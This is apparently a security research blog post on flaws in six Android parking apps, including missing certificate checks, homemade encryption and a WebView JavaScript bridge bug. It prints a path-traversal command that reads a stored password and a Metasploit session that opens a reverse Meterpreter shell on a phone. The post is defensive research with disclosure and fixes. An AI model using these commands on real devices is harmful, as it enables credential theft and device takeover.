Car Parking Apps Vulnerable To Hacks

Why Car Parking?

Companies running paid-for parking schemes across the UK are introducing mobile applications as an alternative to paying with coins and/or card at the parking meter. Many NCC Group consultants travel extensively to support the work that they do for clients. In most cases consultants will drive, and as a result there is often a need for parking. Given the type of work that we do most of us will have wondered from time-to-time about the security of these applications. Do they handle sensitive data, like credit card details and passwords securely? Is sensitive data stored on the mobile device, and is it safe from access by other potentially malicious applications? So with these questions in mind we set out to try and find some answers.

Why Android?

Arguably the two most popular mobile phone platforms in 2015 are Apple iOS and Android. Parking vendors will generally cater for both of these platforms when developing applications. There are differences in the implementation of apps for each system, but there is also a lot that they have in common. Since our main interest is in researching applications that run on the Android platform, we decided to focus on Android apps for this exercise.

The Approach

Six applications that we had personally used when parking were selected for the review. A quick look at the install statistics on the Google Play store showed that these apps represented a reasonably good cross-section of those available; some apparently being smaller local parking schemes with an install base of between 5,000 and 10,000, while others had between 500,000 –and 1,000,000 registered users.

The intention here is not to call out any particular vendor for shortcomings in their application, but rather to highlight the sort of security vulnerabilities that commonly affect these apps in general. With this in mind, no names will be mentioned.

The assessment of these apps was limited to the attack surface available on the phone itself, which included the APK distributed by the vendor and any data stored on the phone as a result of interaction with supporting servers on the Internet. Although interaction with the server-side was observed, no attempts were made to manipulate data sent to the server. Testing the systems running on the vendor's server is important when conducting a thorough assessment, but in this case, due to a need for consent this was not appropriate.

Findings

After spending some time with the applications it became apparent that nearly all were affected by security vulnerabilities - some more serious than others.

All of the vendors appeared to recognise the need for some form of encryption when transmitting sensitive data to the server. The reason this is important is that data sent without encryption may potentially be intercepted or altered by an attacker connected to the same network. The majority of the applications used Transport Layer Security (TLS). However, none of the apps verified the certificate used by the server, which meant that Man-in-the-Middle attacks were still possible using an intercepting proxy tool. This allowed a far more serious attack to be leveraged against one of the applications, ultimately resulting in unauthorised access to the phone (more details to follow later).

For some reason, one of the vendors had chosen not to use TLS but instead opted to 'roll their own' encryption scheme. Unless you have extensive experience with developing cryptographic algorithms and implementing them in software this is generally a bad idea. In this case the scheme used to 'encrypt' credit card details and passwords sent to the server was based on keys stored in the application code, which were easily retrieved by decompiling the app. It was also possible to retrieve the decryption routine from the application, which could allow an attacker to recover credit card details from network traffic they may have intercepted during the registration process.

One of the vendors chose to confirm the username and password selected by users via email. This will mean that in most cases the typical lack of encryption for SMTP email will mean that an attacker could intercept and recover these details if they were connected to the same network as the user.

So not the best start, but there were more subtle vulnerabilities lurking in some of the apps.

Data Storage

Many of the apps offered the user a facility for saving their password or PIN locally on the device, to enable 'auto-login' on return to the app. This feature isn't generally a good idea, mainly as the password may not be stored securely. In fact, one of the applications stored the password for the system (unencrypted) in the application's private data directory on the phone.

The directories used by Android applications for 'private' data are not generally accessible to other applications, which results in some security by default for data written to these directories. However, there are some cases where a security vulnerability in the application can be used to gain unauthorised access to resources in the data directory. File traversal vulnerabilities in providers used by the application can sometimes permit this level of access (a 'provider' is an Android component used to access data). It was possible to exploit an instance of this type of vulnerability in one of the applications in order to recover the file where the unencrypted password for the application had been stored. The following extract shows an example of password recovery from the perspective of another application installed on the phone (an internal application used for assessing some aspects of security in Android apps):

> ncat 127.0.0.1 8000
CPro 1.0.0
file content://com.<redacted>.files/../../../data/data/com.<redacted>/app_data/password

myPassword||__||s

The files exposed by this provider were properly protected using Android file system permissions, but an attacker or malicious application on the device could use this flaw in the application to read these files regardless of the permissions assigned.

Device Hijack

A common method of creating Android apps is to develop a traditional web application, then display the pages of this application in an Android WebView. A WebView is an application component that essentially acts as a simple web browser, without the toolbars and buttons we have come to expect. So you may think this would be safer than a native Android application, since web pages should have no access to the device? In some cases this is true, but it will depend on the requirements of the application.

It is possible for JavaScript running from web pages in Android WebViews to access native device functions via a 'bridge' in cases where the developer has defined such a bridge. Depending on the permissions granted to the Android app, this could allow a malicious web page to gain unauthorised access to device resources (like contacts or SMS messages, for example).

One of the applications reviewed defined a bridge named 'jsif' as shown in the following extract from the decompiled code:

this.webView.addJavascriptInterface(new JavaScriptInterface(this), "jsif");
this.webView.getSettings().setJavaScriptEnabled(true);
this.webView.getSettings().setAllowFileAccess(true);

This bridge allowed JavaScript running in the WebView to call Java methods defined in the Android application. What's worse is that on older versions of Android, or where the app targets an API version less than 17 it may be possible to call methods exposed by any class within the Java SDK, which presents opportunities for unauthorised code execution.

Unfortunately, the version of the Android API targeted by this particular application was 15, as shown in the following extract from the application manifest:

android:targetSdkVersion="15"

Think back to our earlier description of the Man-in-the-Middle attack, where the attacker controls the network connection and can intercept network traffic. In this scenario the attacker could inject HTML or JavaScript into the web page requested from the server. This script then executes within the context of the Android application and can potentially instruct the device to download a malicious payload from the attacker's server, providing access to the user's phone with the privileges of the application. In the following extracts the exploit framework Metasploit has been used to demonstrate this type of exploitation.

From the attacker's system, the exploit is configured and the server is started:

msf > use exploit/android/browser/webview_addjavascriptinterface
msf exploit(webview_addjavascriptinterface) > set lhost 192.168.2.1
lhost => 192.168.2.1
msf exploit(webview_addjavascriptinterface) > exploit
[*] Exploit running as background job.
[*] Started reverse handler on 192.168.2.1:4444
msf exploit(webview_addjavascriptinterface) > [*] Using URL: http://0.0.0.0:8080/GM9OYn
[*] Local IP: http://10.1.1.63:8080/GM9OYn
[*] Server started.

The attacker executes their Man-in-the-Middle attack against the user (details have been omitted for brevity, but in this case a Burp Suite extension was used). The extract below shows the attacker's view of the Metasploit server console, showing the connection from the user's phone:

[*] 192.168.2.89 webview_addjavascriptinterface - Gathering target information.
[*] 192.168.2.89 webview_addjavascriptinterface - Sending HTML response.
[*] 192.168.2.89 webview_addjavascriptinterface - Serving armle exploit...
[*] Sending stage (56173 bytes) to 192.168.2.89
[*] Meterpreter session 1 opened (192.168.2.1:4444 -> 192.168.2.89:40199) at 2015-10-09 14:51:50 +0100

Finally, the attacker connects to the new session on the user's phone and is presented with a command shell:

msf exploit(webview_addjavascriptinterface) > sessions -l

Active sessions
===============
Id Type Information Connection
-- ---- ----------- ----------
1 meterpreter java/android @ localhost 192.168.2.1:4444 -> 192.168.2.89:40199 (192.168.2.89)

msf exploit(webview_addjavascriptinterface) > sessions -i 1
[*] Starting interaction with 1...

meterpreter > shell
Process 1 created.
Channel 1 created.

pm list packages
package:android
package:berserker.android.apps.sambadroid
package:cn.wq.disableservice
package:com.android.backupconfirm
package:com.android.bluetooth
package:com.android.browser.provider
package:com.android.calculator2
package:com.android.cellbroadcastreceiver
package:com.android.certinstaller
package:com.android.chrome

Since this app has permissions to access FINE_LOCATION (GPS co-ordinates) the phone could potentially be used as a tracking device during initial exploitation (a more complex payload and a further exploit would be required in order to persist this behaviour).

So the point here is that even with SSL/TLS it is possible to execute Man-in-the-Middle attacks in the absence of further security controls such as Certificate Pinning. The attacks that can sometimes be leveraged from this position include code execution and could potentially result in an attacker taking control of the device.

The Best Bits

Was it all bad? No; many of the application developers had clearly taken steps to secure their application against trivial attac, and where data had been stored it had in some cases been stored safely (using recognised hashing algorithms for example). Although all of the apps could be decompiled some of the developers had obfuscated their code to prevent others from reading it easily. This would frustrate potential attackers. Depending on their determination many attackers might just move on to easier targets.

Summary & Recommendations

So we saw that using parking applications on Android could potentially put some of our sensitive data at risk, and potentially allow an active attacker to compromise your phone. This isn't good, and vendors clearly have some work to do in order to provide better security for their users.

It's important to recognise that many of the attacks outlined above are dependent on the context where these applications are used, particularly in terms of the network to which the phone is connected. Man-in-the-Middle attacks occur when the attacker has some control over the network to which the vulnerable device is connected, the most common example being unsecured public Wi-Fi. Since most of the time parking applications will be used when connected to mobile data connections the likelihood of these attacks may be reduced (although it is possible for an attacker to create a fake GSM base station).

There are circumstances where a user of the application may be connected to public Wi-FI, however, such as when extending a parking stay from a restaurant or coffee shop. Be careful when using any type of mobile application that may expose sensitive data when connected to a potentially unsecure network. It may also be a good idea to use a credit card rather than a debit card, as credit card companies usually have robust fraud detection measures and will offer better protection against unauthorised use of your payment card. And last but not least, maybe have a handful of coins ready for the meter next time you need to pay for parking.

In line with the NCC Group policy of responsible disclosure the vendors of apps affected by serious vulnerabilities described here were contacted and offered full details. For the developers of these applications the following recommendations should be useful in attempting to remediate the types of vulnerabilities described above:

• Ensure that the latest Android API version is targeted by the application.
• Use securely configured TLS to protect data in transit to the server.
• Use Certificate Pinning to mitigate against Man-in-the-Middle attacks on TLS connections.
• Secure Android providers to prevent them from being used to gain unauthorised access to application resources. Don't export Android components if it can be avoided.
• Protect data at rest using an appropriate hashing algorithm.

Published date:  11 December 2015

Written by:  Chris Spencer